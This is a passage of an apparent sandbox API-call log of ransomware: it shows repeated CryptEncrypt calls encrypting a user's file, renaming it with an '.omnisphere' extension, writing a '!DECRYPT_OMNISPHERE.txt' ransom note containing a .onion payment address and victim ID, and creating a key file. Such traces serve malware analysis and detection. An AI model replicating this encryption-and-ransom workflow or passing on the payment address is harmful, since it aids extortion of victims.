dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.414] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.414] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.414] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.414] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.414] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.414] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.414] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.414] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.414] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.414] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.414] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.414] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.414] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.414] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.414] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.415] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.415] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.415] CryptDestroyKey (hKey=0x1639b68) returned 1 [0128.415] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0128.415] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xa00, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.415] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0128.415] GetProcessHeap () returned 0x1600000 [0128.415] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x310) returned 0x17127a0 [0128.415] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\fb3b0dbfee58fac8.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\fb3b0dbfee58fac8.automaticdestinations-ms"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\fb3b0dbfee58fac8.automaticDestinations-ms.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\fb3b0dbfee58fac8.automaticdestinations-ms.omnisphere")) returned 1 [0128.416] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\fb3b0dbfee58fac8.automaticDestinations-ms.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\fb3b0dbfee58fac8.automaticDestinations-ms.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\fb3b0dbfee58fac8.automaticDestinations-ms.omnisphere.id" [0128.417] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\fb3b0dbfee58fac8.automaticDestinations-ms.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\fb3b0dbfee58fac8.automaticdestinations-ms.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0128.418] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0128.419] CloseHandle (hObject=0x388) returned 1 [0128.419] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.420] CloseHandle (hObject=0x3c0) returned 1 [0128.420] SetEndOfFile (hFile=0x288) returned 1 [0128.420] FlushFileBuffers (hFile=0x288) returned 1 [0128.426] CloseHandle (hObject=0x288) returned 1 [0128.426] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\fb3b0dbfee58fac8.automaticDestinations-ms" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0128.426] GetProcessHeap () returned 0x1600000 [0128.426] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16fdeb8 [0128.426] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0128.426] GetProcessHeap () returned 0x1600000 [0128.426] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fde88 [0128.426] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fde88, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0128.426] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0128.426] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0128.427] GetProcessHeap () returned 0x1600000 [0128.427] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17101e0 [0128.427] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17101e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0128.427] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0128.427] GetProcessHeap () returned 0x1600000 [0128.427] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xdc) returned 0x16fb808 [0128.427] PathCombineW (in: pszDest=0x16fb808, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" [0128.427] GetProcessHeap () returned 0x1600000 [0128.427] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x170e7b8 [0128.427] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.427] WriteFile (in: hFile=0x288, lpBuffer=0x170e7b8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x170e7b8*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0128.427] CloseHandle (hObject=0x288) returned 1 [0128.428] GetProcessHeap () returned 0x1600000 [0128.428] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16fdeb8 | out: hHeap=0x1600000) returned 1 [0128.428] GetProcessHeap () returned 0x1600000 [0128.428] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1649080 [0128.428] PathCombineW (in: pszDest=0x1649080, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" [0128.428] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.428] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0128.428] CloseHandle (hObject=0x288) returned 1 [0128.428] GetProcessHeap () returned 0x1600000 [0128.428] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1649080 | out: hHeap=0x1600000) returned 1 [0128.428] GetProcessHeap () returned 0x1600000 [0128.428] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0128.429] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d43bc45, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d43bc45, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2da0b89a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0xcc, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0128.429] GetProcessHeap () returned 0x1600000 [0128.429] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1649080 [0128.429] PathCombineW (in: pszDest=0x1649080, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" [0128.429] StrStrW (lpFirst=".omnisphere", lpSrch=".key") returned 0x0 [0128.429] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\unique_decrypt.key"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.429] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=1440) returned 1 [0128.429] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x7c, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.429] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0128.429] GetTickCount () returned 0x11600a3 [0128.429] GetTickCount () returned 0x11600a3 [0128.429] GetTickCount () returned 0x11600a3 [0128.429] GetTickCount () returned 0x11600a3 [0128.429] GetTickCount () returned 0x11600a3 [0128.429] GetTickCount () returned 0x11600a3 [0128.430] GetTickCount () returned 0x11600a3 [0128.430] GetTickCount () returned 0x11600a3 [0128.430] GetTickCount () returned 0x11600a3 [0128.430] GetTickCount () returned 0x11600a3 [0128.430] GetTickCount () returned 0x11600a3 [0128.430] GetTickCount () returned 0x11600a3 [0128.430] GetTickCount () returned 0x11600a3 [0128.430] GetTickCount () returned 0x11600a3 [0128.430] GetTickCount () returned 0x11600a3 [0128.430] GetTickCount () returned 0x11600a3 [0128.430] GetTickCount () returned 0x11600a3 [0128.430] GetTickCount () returned 0x11600a3 [0128.430] GetTickCount () returned 0x11600a3 [0128.430] GetTickCount () returned 0x11600a3 [0128.430] GetTickCount () returned 0x11600a3 [0128.430] GetTickCount () returned 0x11600a3 [0128.430] GetTickCount () returned 0x11600a3 [0128.430] GetTickCount () returned 0x11600a3 [0128.430] GetTickCount () returned 0x11600a3 [0128.430] GetTickCount () returned 0x11600a3 [0128.430] GetTickCount () returned 0x11600a3 [0128.430] GetTickCount () returned 0x11600a3 [0128.430] GetTickCount () returned 0x11600a3 [0128.430] GetTickCount () returned 0x11600a3 [0128.430] GetTickCount () returned 0x11600a3 [0128.430] GetTickCount () returned 0x11600a3 [0128.431] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x16688a0) returned 1 [0128.431] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x16396e8) returned 1 [0128.431] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0128.431] CryptDestroyKey (hKey=0x16396e8) returned 1 [0128.432] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0128.432] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5a0, lpName=0x0) returned 0x3c0 [0128.432] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5a0) returned 0x1480000 [0128.432] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x16681b8) returned 1 [0128.433] CryptImportKey (in: hProv=0x16681b8, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x16397a8) returned 1 [0128.433] CryptSetKeyParam (hKey=0x16397a8, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0128.433] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0128.433] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.433] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.433] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.433] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.433] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.433] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.433] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.433] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.433] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.433] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.433] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.433] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.433] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.433] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.434] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.434] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.434] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.434] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.434] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.434] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.434] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.434] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.434] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.434] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.434] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.434] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.434] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.434] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.434] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.434] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.434] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.434] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, 